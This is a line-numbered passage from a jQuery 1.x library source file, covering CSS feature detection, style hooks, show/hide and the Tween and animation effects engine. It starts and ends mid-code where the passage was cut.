3953 rs.left = elem.currentStyle.left
3954 }
3955 style.left = name === "fontSize" ? "1em" : ret;
3956 ret = style.pixelLeft + "px";
3957 style.left = left;
3958 if (rsLeft) {
3959 rs.left = rsLeft
3960 }
3961 }
3962 return ret === undefined ? ret : ret + "" || "auto"
3963 }
3964 }
3965
3966 function addGetHookIf(conditionFn, hookFn) {
3967 return {
3968 get: function() {
3969 var condition = conditionFn();
3970 if (condition == null) {
3971 return
3972 }
3973 if (condition) {
3974 delete this.get;
3975 return
3976 }
3977 return (this.get = hookFn).apply(this, arguments)
3978 }
3979 }
3980 }(function() {
3981 var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal;
3982 div = document.createElement("div");
3983 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
3984 a = div.getElementsByTagName("a")[0];
3985 style = a && a.style;
3986 if (!style) {
3987 return
3988 }
3989 style.cssText = "float:left;opacity:.5";
3990 support.opacity = style.opacity === "0.5";
3991 support.cssFloat = !!style.cssFloat;
3992 div.style.backgroundClip = "content-box";
3993 div.cloneNode(true).style.backgroundClip = "";
3994 support.clearCloneStyle = div.style.backgroundClip === "content-box";
3995 support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === "";
3996 jQuery.extend(support, {
3997 reliableHiddenOffsets: function() {
3998 if (reliableHiddenOffsetsVal == null) {
3999 computeStyleTests()
4000 }
4001 return reliableHiddenOffsetsVal
4002 },
4003 boxSizingReliable: function() {
4004 if (boxSizingReliableVal == null) {
4005 computeStyleTests()
4006 }
4007 return boxSizingReliableVal
4008 },
4009 pixelPosition: function() {
4010 if (pixelPositionVal == null) {
4011 computeStyleTests()
4012 }
4013 return pixelPositionVal
4014 },
4015 reliableMarginRight: function() {
4016 if (reliableMarginRightVal == null) {
4017 computeStyleTests()
4018 }
4019 return reliableMarginRightVal
4020 }
4021 });
4022
4023 function computeStyleTests() {
4024 var div, body, container, contents;
4025 body = document.getElementsByTagName("body")[0];
4026 if (!body || !body.style) {
4027 return
4028 }
4029 div = document.createElement("div");
4030 container = document.createElement("div");
4031 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4032 body.appendChild(container).appendChild(div);
4033 div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute";
4034 pixelPositionVal = boxSizingReliableVal = false;
4035 reliableMarginRightVal = true;
4036 if (window.getComputedStyle) {
4037 pixelPositionVal = (window.getComputedStyle(div, null) || {}).top !== "1%";
4038 boxSizingReliableVal = (window.getComputedStyle(div, null) || {
4039 width: "4px"
4040 }).width === "4px";
4041 contents = div.appendChild(document.createElement("div"));
4042 contents.style.cssText = div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
4043 contents.style.marginRight = contents.style.width = "0";
4044 div.style.width = "1px";
4045 reliableMarginRightVal = !parseFloat((window.getComputedStyle(contents, null) || {}).marginRight);
4046 div.removeChild(contents)
4047 }
4048 div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
4049 contents = div.getElementsByTagName("td");
4050 contents[0].style.cssText = "margin:0;border:0;padding:0;display:none";
4051 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0;
4052 if (reliableHiddenOffsetsVal) {
4053 contents[0].style.display = "";
4054 contents[1].style.display = "none";
4055 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0
4056 }
4057 body.removeChild(container)
4058 }
4059 })();
4060 jQuery.swap = function(elem, options, callback, args) {
4061 var ret, name, old = {};
4062 for (name in options) {
4063 old[name] = elem.style[name];
4064 elem.style[name] = options[name]
4065 }
4066 ret = callback.apply(elem, args || []);
4067 for (name in options) {
4068 elem.style[name] = old[name]
4069 }
4070 return ret
4071 };
4072 var ralpha = /alpha\([^)]*\)/i,
4073 ropacity = /opacity\s*=\s*([^)]*)/,
4074 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
4075 rnumsplit = new RegExp("^(" + pnum + ")(.*)$", "i"),
4076 rrelNum = new RegExp("^([+-])=(" + pnum + ")", "i"),
4077 cssShow = {
4078 position: "absolute",
4079 visibility: "hidden",
4080 display: "block"
4081 },
4082 cssNormalTransform = {
4083 letterSpacing: "0",
4084 fontWeight: "400"
4085 },
4086 cssPrefixes = ["Webkit", "O", "Moz", "ms"];
4087
4088 function vendorPropName(style, name) {
4089 if (name in style) {
4090 return name
4091 }
4092 var capName = name.charAt(0).toUpperCase() + name.slice(1),
4093 origName = name,
4094 i = cssPrefixes.length;
4095 while (i--) {
4096 name = cssPrefixes[i] + capName;
4097 if (name in style) {
4098 return name
4099 }
4100 }
4101 return origName
4102 }
4103
4104 function showHide(elements, show) {
4105 var display, elem, hidden, values = [],
4106 index = 0,
4107 length = elements.length;
4108 for (; index < length; index++) {
4109 elem = elements[index];
4110 if (!elem.style) {
4111 continue
4112 }
4113 values[index] = jQuery._data(elem, "olddisplay");
4114 display = elem.style.display;
4115 if (show) {
4116 if (!values[index] && display === "none") {
4117 elem.style.display = ""
4118 }
4119 if (elem.style.display === "" && isHidden(elem)) {
4120 values[index] = jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName))
4121 }
4122 } else {
4123 hidden = isHidden(elem);
4124 if (display && display !== "none" || !hidden) {
4125 jQuery._data(elem, "olddisplay", hidden ? display : jQuery.css(elem, "display"))
4126 }
4127 }
4128 }
4129 for (index = 0; index < length; index++) {
4130 elem = elements[index];
4131 if (!elem.style) {
4132 continue
4133 }
4134 if (!show || elem.style.display === "none" || elem.style.display === "") {
4135 elem.style.display = show ? values[index] || "" : "none"
4136 }
4137 }
4138 return elements
4139 }
4140
4141 function setPositiveNumber(elem, value, subtract) {
4142 var matches = rnumsplit.exec(value);
4143 return matches ? Math.max(0, matches[1] - (subtract || 0)) + (matches[2] || "px") : value
4144 }
4145
4146 function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) {
4147 var i = extra === (isBorderBox ? "border" : "content") ? 4 : name === "width" ? 1 : 0,
4148 val = 0;
4149 for (; i < 4; i += 2) {
4150 if (extra === "margin") {
4151 val += jQuery.css(elem, extra + cssExpand[i], true, styles)
4152 }
4153 if (isBorderBox) {
4154 if (extra === "content") {
4155 val -= jQuery.css(elem, "padding" + cssExpand[i], true, styles)
4156 }
4157 if (extra !== "margin") {
4158 val -= jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4159 }
4160 } else {
4161 val += jQuery.css(elem, "padding" + cssExpand[i], true, styles);
4162 if (extra !== "padding") {
4163 val += jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4164 }
4165 }
4166 }
4167 return val
4168 }
4169
4170 function getWidthOrHeight(elem, name, extra) {
4171 var valueIsBorderBox = true,
4172 val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
4173 styles = getStyles(elem),
4174 isBorderBox = support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box";
4175 if (val <= 0 || val == null) {
4176 val = curCSS(elem, name, styles);
4177 if (val < 0 || val == null) {
4178 val = elem.style[name]
4179 }
4180 if (rnumnonpx.test(val)) {
4181 return val
4182 }
4183 valueIsBorderBox = isBorderBox && (support.boxSizingReliable() || val === elem.style[name]);
4184 val = parseFloat(val) || 0
4185 }
4186 return (val + augmentWidthOrHeight(elem, name, extra || (isBorderBox ? "border" : "content"), valueIsBorderBox, styles)) + "px"
4187 }
4188 jQuery.extend({
4189 cssHooks: {
4190 opacity: {
4191 get: function(elem, computed) {
4192 if (computed) {
4193 var ret = curCSS(elem, "opacity");
4194 return ret === "" ? "1" : ret
4195 }
4196 }
4197 }
4198 },
4199 cssNumber: {
4200 "columnCount": true,
4201 "fillOpacity": true,
4202 "flexGrow": true,
4203 "flexShrink": true,
4204 "fontWeight": true,
4205 "lineHeight": true,
4206 "opacity": true,
4207 "order": true,
4208 "orphans": true,
4209 "widows": true,
4210 "zIndex": true,
4211 "zoom": true
4212 },
4213 cssProps: {
4214 "float": support.cssFloat ? "cssFloat" : "styleFloat"
4215 },
4216 style: function(elem, name, value, extra) {
4217 if (!elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style) {
4218 return
4219 }
4220 var ret, type, hooks, origName = jQuery.camelCase(name),
4221 style = elem.style;
4222 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(style, origName));
4223 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4224 if (value !== undefined) {
4225 type = typeof value;
4226 if (type === "string" && (ret = rrelNum.exec(value))) {
4227 value = (ret[1] + 1) * ret[2] + parseFloat(jQuery.css(elem, name));
4228 type = "number"
4229 }
4230 if (value == null || value !== value) {
4231 return
4232 }
4233 if (type === "number" && !jQuery.cssNumber[origName]) {
4234 value += "px"
4235 }
4236 if (!support.clearCloneStyle && value === "" && name.indexOf("background") === 0) {
4237 style[name] = "inherit"
4238 }
4239 if (!hooks || !("set" in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) {
4240 try {
4241 style[name] = value
4242 } catch (e) {}
4243 }
4244 } else {
4245 if (hooks && "get" in hooks && (ret = hooks.get(elem, false, extra)) !== undefined) {
4246 return ret
4247 }
4248 return style[name]
4249 }
4250 },
4251 css: function(elem, name, extra, styles) {
4252 var num, val, hooks, origName = jQuery.camelCase(name);
4253 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName));
4254 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4255 if (hooks && "get" in hooks) {
4256 val = hooks.get(elem, true, extra)
4257 }
4258 if (val === undefined) {
4259 val = curCSS(elem, name, styles)
4260 }
4261 if (val === "normal" && name in cssNormalTransform) {
4262 val = cssNormalTransform[name]
4263 }
4264 if (extra === "" || extra) {
4265 num = parseFloat(val);
4266 return extra === true || jQuery.isNumeric(num) ? num || 0 : val
4267 }
4268 return val
4269 }
4270 });
4271 jQuery.each(["height", "width"], function(i, name) {
4272 jQuery.cssHooks[name] = {
4273 get: function(elem, computed, extra) {
4274 if (computed) {
4275 return rdisplayswap.test(jQuery.css(elem, "display")) && elem.offsetWidth === 0 ? jQuery.swap(elem, cssShow, function() {
4276 return getWidthOrHeight(elem, name, extra)
4277 }) : getWidthOrHeight(elem, name, extra)
4278 }
4279 },
4280 set: function(elem, value, extra) {
4281 var styles = extra && getStyles(elem);
4282 return setPositiveNumber(elem, value, extra ? augmentWidthOrHeight(elem, name, extra, support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box", styles) : 0)
4283 }
4284 }
4285 });
4286 if (!support.opacity) {
4287 jQuery.cssHooks.opacity = {
4288 get: function(elem, computed) {
4289 return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : computed ? "1" : ""
4290 },
4291 set: function(elem, value) {
4292 var style = elem.style,
4293 currentStyle = elem.currentStyle,
4294 opacity = jQuery.isNumeric(value) ? "alpha(opacity=" + value * 100 + ")" : "",
4295 filter = currentStyle && currentStyle.filter || style.filter || "";
4296 style.zoom = 1;
4297 if ((value >= 1 || value === "") && jQuery.trim(filter.replace(ralpha, "")) === "" && style.removeAttribute) {
4298 style.removeAttribute("filter");
4299 if (value === "" || currentStyle && !currentStyle.filter) {
4300 return
4301 }
4302 }
4303 style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : filter + " " + opacity
4304 }
4305 }
4306 }
4307 jQuery.cssHooks.marginRight = addGetHookIf(support.reliableMarginRight, function(elem, computed) {
4308 if (computed) {
4309 return jQuery.swap(elem, {
4310 "display": "inline-block"
4311 }, curCSS, [elem, "marginRight"])
4312 }
4313 });
4314 jQuery.each({
4315 margin: "",
4316 padding: "",
4317 border: "Width"
4318 }, function(prefix, suffix) {
4319 jQuery.cssHooks[prefix + suffix] = {
4320 expand: function(value) {
4321 var i = 0,
4322 expanded = {},
4323 parts = typeof value === "string" ? value.split(" ") : [value];
4324 for (; i < 4; i++) {
4325 expanded[prefix + cssExpand[i] + suffix] = parts[i] || parts[i - 2] || parts[0]
4326 }
4327 return expanded
4328 }
4329 };
4330 if (!rmargin.test(prefix)) {
4331 jQuery.cssHooks[prefix + suffix].set = setPositiveNumber
4332 }
4333 });
4334 jQuery.fn.extend({
4335 css: function(name, value) {
4336 return access(this, function(elem, name, value) {
4337 var styles, len, map = {},
4338 i = 0;
4339 if (jQuery.isArray(name)) {
4340 styles = getStyles(elem);
4341 len = name.length;
4342 for (; i < len; i++) {
4343 map[name[i]] = jQuery.css(elem, name[i], false, styles)
4344 }
4345 return map
4346 }
4347 return value !== undefined ? jQuery.style(elem, name, value) : jQuery.css(elem, name)
4348 }, name, value, arguments.length > 1)
4349 },
4350 show: function() {
4351 return showHide(this, true)
4352 },
4353 hide: function() {
4354 return showHide(this)
4355 },
4356 toggle: function(state) {
4357 if (typeof state === "boolean") {
4358 return state ? this.show() : this.hide()
4359 }
4360 return this.each(function() {
4361 if (isHidden(this)) {
4362 jQuery(this).show()
4363 } else {
4364 jQuery(this).hide()
4365 }
4366 })
4367 }
4368 });
4369
4370 function Tween(elem, options, prop, end, easing) {
4371 return new Tween.prototype.init(elem, options, prop, end, easing)
4372 }
4373 jQuery.Tween = Tween;
4374 Tween.prototype = {
4375 constructor: Tween,
4376 init: function(elem, options, prop, end, easing, unit) {
4377 this.elem = elem;
4378 this.prop = prop;
4379 this.easing = easing || "swing";
4380 this.options = options;
4381 this.start = this.now = this.cur();
4382 this.end = end;
4383 this.unit = unit || (jQuery.cssNumber[prop] ? "" : "px")
4384 },
4385 cur: function() {
4386 var hooks = Tween.propHooks[this.prop];
4387 return hooks && hooks.get ? hooks.get(this) : Tween.propHooks._default.get(this)
4388 },
4389 run: function(percent) {
4390 var eased, hooks = Tween.propHooks[this.prop];
4391 if (this.options.duration) {
4392 this.pos = eased = jQuery.easing[this.easing](percent, this.options.duration * percent, 0, 1, this.options.duration)
4393 } else {
4394 this.pos = eased = percent
4395 }
4396 this.now = (this.end - this.start) * eased + this.start;
4397 if (this.options.step) {
4398 this.options.step.call(this.elem, this.now, this)
4399 }
4400 if (hooks && hooks.set) {
4401 hooks.set(this)
4402 } else {
4403 Tween.propHooks._default.set(this)
4404 }
4405 return this
4406 }
4407 };
4408 Tween.prototype.init.prototype = Tween.prototype;
4409 Tween.propHooks = {
4410 _default: {
4411 get: function(tween) {
4412 var result;
4413 if (tween.elem[tween.prop] != null && (!tween.elem.style || tween.elem.style[tween.prop] == null)) {
4414 return tween.elem[tween.prop]
4415 }
4416 result = jQuery.css(tween.elem, tween.prop, "");
4417 return !result || result === "auto" ? 0 : result
4418 },
4419 set: function(tween) {
4420 if (jQuery.fx.step[tween.prop]) {
4421 jQuery.fx.step[tween.prop](tween)
4422 } else if (tween.elem.style && (tween.elem.style[jQuery.cssProps[tween.prop]] != null || jQuery.cssHooks[tween.prop])) {
4423 jQuery.style(tween.elem, tween.prop, tween.now + tween.unit)
4424 } else {
4425 tween.elem[tween.prop] = tween.now
4426 }
4427 }
4428 }
4429 };
4430 Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
4431 set: function(tween) {
4432 if (tween.elem.nodeType && tween.elem.parentNode) {
4433 tween.elem[tween.prop] = tween.now
4434 }
4435 }
4436 };
4437 jQuery.easing = {
4438 linear: function(p) {
4439 return p
4440 },
4441 swing: function(p) {
4442 return 0.5 - Math.cos(p * Math.PI) / 2
4443 }
4444 };
4445 jQuery.fx = Tween.prototype.init;
4446 jQuery.fx.step = {};
4447 var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/,
4448 rfxnum = new RegExp("^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i"),
4449 rrun = /queueHooks$/,
4450 animationPrefilters = [defaultPrefilter],
4451 tweeners = {
4452 "*": [function(prop, value) {
4453 var tween = this.createTween(prop, value),
4454 target = tween.cur(),
4455 parts = rfxnum.exec(value),
4456 unit = parts && parts[3] || (jQuery.cssNumber[prop] ? "" : "px"),
4457 start = (jQuery.cssNumber[prop] || unit !== "px" && +target) && rfxnum.exec(jQuery.css(tween.elem, prop)),
4458 scale = 1,
4459 maxIterations = 20;
4460 if (start && start[3] !== unit) {
4461 unit = unit || start[3];
4462 parts = parts || [];
4463 start = +target || 1;
4464 do {
4465 scale = scale || ".5";
4466 start = start / scale;
4467 jQuery.style(tween.elem, prop, start + unit)
4468 } while (scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations)
4469 }
4470 if (parts) {
4471 start = tween.start = +start || +target || 0;
4472 tween.unit = unit;
4473 tween.end = parts[1] ? start + (parts[1] + 1) * parts[2] : +parts[2]
4474 }
4475 return tween
4476 }]
4477 };
4478
4479 function createFxNow() {
4480 setTimeout(function() {
4481 fxNow = undefined
4482 });
4483 return (fxNow = jQuery.now())
4484 }
4485
4486 function genFx(type, includeWidth) {
4487 var which, attrs = {
4488 height: type
4489 },
4490 i = 0;
4491 includeWidth = includeWidth ? 1 : 0;
4492 for (; i < 4; i += 2 - includeWidth) {
4493 which = cssExpand[i];
4494 attrs["margin" + which] = attrs["padding" + which] = type
4495 }
4496 if (includeWidth) {
4497 attrs.opacity = attrs.width = type
4498 }
4499 return attrs
4500 }
4501
4502 function createTween(value, prop, animation) {
4503 var tween, collection = (tweeners[prop] || []).concat(tweeners["*"]),
4504 index = 0,
4505 length = collection.length;
4506 for (; index < length; index++) {
4507 if ((tween = collection[index].call(animation, prop, value))) {
4508 return tween
4509 }
4510 }
4511 }
4512
4513 function defaultPrefilter(elem, props, opts) {
4514 var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this,
4515 orig = {},
4516 style = elem.style,
4517 hidden = elem.nodeType && isHidden(elem),
4518 dataShow = jQuery._data(elem, "fxshow");
4519 if (!opts.queue) {
4520 hooks = jQuery._queueHooks(elem, "fx");
4521 if (hooks.unqueued == null) {
4522 hooks.unqueued = 0;
4523 oldfire = hooks.empty.fire;
4524 hooks.empty.fire = function() {
4525 if (!hooks.unqueued) {
4526 oldfire()
4527 }
4528 }
4529 }
4530 hooks.unqueued++;
4531 anim.always(function() {
4532 anim.always(function() {
4533 hooks.unqueued--;
4534 if (!jQuery.queue(elem, "fx").length) {
4535 hooks.empty.fire()
4536 }
4537 })
4538 })
4539 }
4540 if (elem.nodeType === 1 && ("height" in props || "width" in props)) {
4541 opts.overflow = [style.overflow, style.overflowX, style.overflowY];
4542 display = jQuery.css(elem, "display");
4543 checkDisplay = display === "none" ? jQuery._data(elem, "olddisplay") || defaultDisplay(elem.nodeName) : display;
4544 if (checkDisplay === "inline" && jQuery.css(elem, "float") === "none") {
4545 if (!support.inlineBlockNeedsLayout || defaultDisplay(elem.nodeName) === "inline") {
4546 style.display = "inline-block"
4547 } else {
4548 style.zoom = 1
4549 }
4550 }
4551 }
4552 if (opts.overflow) {
4553 style.overflow = "hidden";
4554 if (!support.shrinkWrapBlocks()) {
4555 anim.always(function() {
4556 style.overflow = opts.overflow[0];
4557 style.overflowX = opts.overflow[1];
4558 style.overflowY = opts.overflow[2]
4559 })
4560 }
4561 }
4562 for (prop in props) {
4563 value = props[prop];
4564 if (rfxtypes.exec(value)) {
4565 delete props[prop];
4566 toggle = toggle || value === "toggle";
4567 if (value === (hidden ? "hide" : "show")) {
4568 if (value === "show" && dataShow && dataShow[prop] !== undefined) {
4569 hidden = true
4570 } else {
4571 continue
4572 }
4573 }
4574 orig[prop] = dataShow && dataShow[prop] || jQuery.style(elem, prop)
4575 } else {
4576 display = undefined
4577 }
4578 }
4579 if (!jQuery.isEmptyObject(orig)) {
4580 if (dataShow) {
4581 if ("hidden" in dataShow) {
4582 hidden = dataShow.hidden
4583 }
4584 } else {
4585 dataShow = jQuery._data(elem, "fxshow", {})
4586 }
4587 if (toggle) {
4588 dataShow.hidden = !hidden
4589 }
4590 if (hidden) {
4591 jQuery(elem).show()
4592 } else {
4593 anim.done(function() {
4594 jQuery(elem).hide()
4595 })
4596 }
4597 anim.done(function() {
4598 var prop;
4599 jQuery._removeData(elem, "fxshow");
4600 for (prop in orig) {
4601 jQuery.style(elem, prop, orig[prop])
4602 }
4603 });
4604 for (prop in orig) {
4605 tween = createTween(hidden ? dataShow[prop] : 0, prop, anim);
4606 if (!(prop in dataShow)) {
4607 dataShow[prop] = tween.start;
4608 if (hidden) {
4609 tween.end = tween.start;
4610 tween.start = prop === "width" || prop === "height" ? 1 : 0
4611 }
4612 }
4613 }
4614 } else if ((display === "none" ? defaultDisplay(elem.nodeName) : display) === "inline") {
4615 style.display = display
4616 }
4617 }
4618
4619 function propFilter(props, specialEasing) {
4620 var index, name, easing, value, hooks;
4621 for (index in props) {
4622 name = jQuery.camelCase(index);
4623 easing = specialEasing[name];
4624 value = props[index];
4625 if (jQuery.isArray(value)) {
4626 easing = value[1];
4627 value = props[index] = value[0]
4628 }
4629 if (index !== name) {
4630 props[name] = value;
4631 delete props[index]
4632 }
4633 hooks = jQuery.cssHooks[name];
4634 if (hooks && "expand" in hooks) {
4635 value = hooks.expand(value);
4636 delete props[name];
4637 for (index in value) {
4638 if (!(index in props)) {
4639 props[index] = value[index];
4640 specialEasing[index] = easing
4641 }
4642 }
4643 } else {
4644 specialEasing[name] = easing
4645 }
4646 }
4647 }
4648
4649 function Animation(elem, properties, options) {
4650 var result, stopped, index = 0,
4651 length = animationPrefilters.length,
4652 deferred = jQuery.Deferred().always(function() {
4653 delete tick.elem
4654 }),
4655 tick = function() {
4656 if (stopped) {
4657 return false
4658 }
4659 var currentTime = fxNow || createFxNow(),
4660 remaining = Math.max(0, animation.startTime + animation.duration - currentTime),
4661 temp = remaining / animation.duration || 0,
4662 percent = 1 - temp,
4663 index = 0,
4664 length = animation.tweens.length;
4665 for (; index < length; index++) {
4666 animation.tweens[index].run(percent)
4667 }
4668 deferred.notifyWith(elem, [animation, percent, remaining]);
4669 if (percent < 1 && length) {
4670 return remaining
4671 } else {
4672 deferred.resolveWith(elem, [animation]);
4673 return false
4674 }
4675 },
4676 animation = deferred.promise({
4677 elem: elem,
4678 props: jQuery.extend({}, properties),
4679 opts: jQuery.extend(true, {
4680 specialEasing: {}
4681 }, options),
4682 originalProperties: properties,
4683 originalOptions: options,
4684 startTime: fxNow || createFxNow(),
4685 duration: options.duration,
4686 tweens: [],
4687 createTween: function(prop, end) {
4688 var tween = jQuery.Tween(elem, animation.opts, prop, end, animation.opts.specialEasing[prop] || animation.opts.easing);
4689 animation.tweens.push(tween);
4690 return tween
4691 },
4692 stop: function(gotoEnd) {
4693 var index = 0,
4694 length = gotoEnd ? animation.tweens.length : 0;
4695 if (stopped) {
4696 return this
4697 }
4698 stopped = true;
4699 for (; index < length; index++) {
4700 animation.tweens[index].run(1)
4701 }
4702 if (gotoEnd) {
4703 deferred.resolveWith(elem, [animation, gotoEnd])
4704 } else {
4705 deferred.rejectWith(elem, [animation, gotoEnd])
4706 }
4707 return this
4708 }
4709 }),
4710 props = animation.props;
4711 propFilter(props, animation.opts.specialEasing);
4712 for (; index < length; index++) {
4713 result = animationPrefilters[index].call(animation, elem, props, animation.opts);
4714 if (result) {
4715 return result
4716 }
4717 }
4718 jQuery.map(props, createTween, animation);
4719 if (jQuery.isFunction(animation.opts.start)) {
4720 animation.opts.start.call(elem, animation)
4721 }
4722 jQuery.fx.timer(jQuery.extend(tick, {
4723 elem: elem,
4724 anim: animation,
4725 queue: animation.opts.queue
4726 }));
4727 return animation.progress(animation.opts.progress).done(animation.opts.done, animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)
4728 }
4729 jQuery.Animation = jQuery.extend(Animation, {
4730 tweener: function(props, callback) {
4731 if (jQuery.isFunction(props)) {
4732 callback = props;
4733 props = ["*"]
4734 } else {
4735 props = props.split(" ")
4736 }
4737 var prop, index = 0,
4738 length = props.length;
4739 for (; index < length; index++) {
4740 prop = props[index];
4741 tweeners[prop] = tweeners[prop] || [];
4742 tweeners[prop].unshift(callback)
4743 }
4744 },
4745 prefilter: function(callback, prepend) {
4746 if (prepend) {
4747 animationPrefilters.unshift(callback)
4748 } else {
4749 animationPrefilters.push(callback)
4750 }
4751 }
4752 });
4753 jQuery.speed = function(speed, easing, fn) {
4754 var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
4755 complete: fn || !fn && easing || jQuery.isFunction(speed) && speed,
4756 duration: speed,
4757 easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
4758 };
4759 opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
4760 if (opt.queue == null || opt.queue === true) {
4761 opt.queue = "fx"
4762 }
4763 opt.old = opt.complete;
4764 opt.complete = function() {
4765 if (jQuery.isFunction(opt.old)) {
4766 opt.old.call(this)
4767 }
4768 if (opt.queue) {
4769 jQuery.dequeue(this, opt.queue)
4770 }
4771 };
4772 return opt
4773 };
4774 jQuery.fn.extend({
4775 fadeTo: function(speed, to, easing, callback) {
4776 return this.filter(isHidden).css("opacity", 0).show().end().animate({
4777 opacity: to
4778 }, speed, easing, callback)
4779 },
4780 animate: function(prop, speed, easing, callback) {
4781 var empty = jQuery.isEmptyObject(prop),
4782 optall = jQuery.speed(speed, easing, callback),
4783 doAnimation = function() {
4784 var anim = Animation(this, jQuery.extend({}, prop), optall);
4785 if (empty || jQuery._data(this, "finish")) {
4786 anim.stop(true)
4787 }
4788 };
4789 doAnimation.finish = doAnimation;
4790 return empty || optall.queue === false ? this.each(doAnimation) : this.queue(optall.queue, doAnimation)
4791 },
4792 stop: function(type, clearQueue, gotoEnd) {
4793 var stopQueue = function(hooks) {
4794 var stop = hooks.stop;
4795 delete hooks.stop;
4796 stop(gotoEnd)
4797 };
4798 if (typeof type !== "string") {
4799 gotoEnd = clearQueue;
4800 clearQueue = type;
4801 type = undefined
4802 }
4803 if (clearQueue && type !== false) {
4804 this.queue(type || "fx", [])
4805 }
4806 return this.each(function() {
4807 var dequeue = true,
4808 index = type != null && type + "queueHooks",
4809 timers = jQuery.timers,
4810 data = jQuery._data(this);
4811 if (index) {
4812 if (data[index] && data[index].stop) {
4813 stopQueue(data[index])
4814 }
4815 } else {
4816 for (index in data) {
4817 if (data[index] && data[index].stop && rrun.test(index)) {
4818 stopQueue(data[index])
4819 }
4820 }
4821 }
4822 for (index = timers.length; index--;) {
4823 if (timers[index].elem === this && (type == null || timers[index].queue === type)) {
4824 timers[index].anim.stop(gotoEnd);
4825 dequeue = false;
4826 timers.splice(index, 1)
4827 }
4828 }
4829 if (dequeue || !gotoEnd) {
4830 jQuery.dequeue(this, type)
4831 }
4832 })
4833 },
4834 finish: function(type) {
4835 if (type !== false) {
4836 type = type || "fx"
4837 }
4838 return this.each(function() {
4839 var index, data = jQuery._data(this),
4840 queue = data[type + "queue"],
4841 hooks = data[type + "queueHooks"],
4842 timers = jQuery.timers,
4843 length = queue ? queue.length : 0;
4844 data.finish = true;
4845 jQuery.queue(this, type, []);
4846 if (hooks && hooks.stop) {
4847 hooks.stop.call(this, true)
4848 }
4849 for (index = timers.length; index--;) {
4850 if (timers[index].elem === this && timers[index].queue === type) {
4851 timers[index].anim.stop(true);
4852 timers.splice(index, 1)
4853 }
4854 }
4855 for (index = 0; index < length; index++) {
4856 if (queue[index] && queue[index].finish) {
4857 queue[index].finish.call(this)
4858 }
4859 }
4860 delete data.finish
4861 })
4862 }
4863 });
4864 jQuery.each(["toggle", "show", "hide"], function(i, name) {
4865 var cssFn = jQuery.fn[name];
4866 jQuery.fn[name] = function(speed, easing, callback) {
4867 return speed == null || typeof speed === "boolean" ? cssFn.apply(this, arguments) : this.animate(genFx(name, true), speed, easing, callback)
4868 }
4869 });
4870 jQuery.each({
4871 slideDown: genFx("show"),
4872 slideUp: genFx("hide"),
4873 slideToggle: genFx("toggle"),
4874 fadeIn: {
4875 opacity: "show"
4876 },
4877 fadeOut: {
4878 opacity: "hide"
4879 },
4880 fadeToggle: {
4881 opacity: "toggle"
4882 }
4883 }, function(name, props) {
4884 jQuery.fn[name] = function(speed, easing, callback) {
4885 return this.animate(props, speed, easing, callback)
4886 }
4887 });
4888 jQuery.timers = [];
4889 jQuery.fx.tick = function() {
4890 var timer, timers = jQuery.timers,
4891 i = 0;
4892 fxNow = jQuery.now();
4893 for (; i < timers.length; i++) {
4894 timer = timers[i];
4895 if (!timer() && timers[i] === timer) {
4896 timers.splice(i--, 1)
4897 }
4898 }
4899 if (!timers.length) {
4900 jQuery.fx.stop()
4901 }
4902 fxNow = undefined
4903 };
4904 jQuery.fx.timer = function(timer) {
4905 jQuery.timers.push(timer);
4906 if (timer()) {
4907 jQuery.fx.start()
4908 } else {
4909 jQuery.timers.pop()
4910 }
4911 };
4912 jQuery.fx.interval = 13;
4913 jQuery.fx.start = function() {
4914 if (!timerId) {
4915 timerId = setInterval(jQuery.fx.tick, jQuery.fx.interval)
4916 }
4917 };
4918 jQuery.fx.stop = function() {
4919 clearInterval(timerId);
4920 timerId = null
4921 };
4922 jQuery.fx.speeds = {
4923 slow: 600,
4924 fast: 200,
4925 _default: 400
4926 };
4927 jQuery.fn.delay = function(time, type) {
4928 time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
4929 type = type || "fx";
4930 return this.queue(type, function(next, hooks) {
4931 var timeout = setTimeout(next, time);
4932 hooks.stop = function() {
4933 clearTimeout(timeout)
4934 }
4935 })
4936 };
4937 (function() {
4938 var input, div, select, a, opt;
4939 div = document.createElement("div");
4940 div.setAttribute("className", "t");
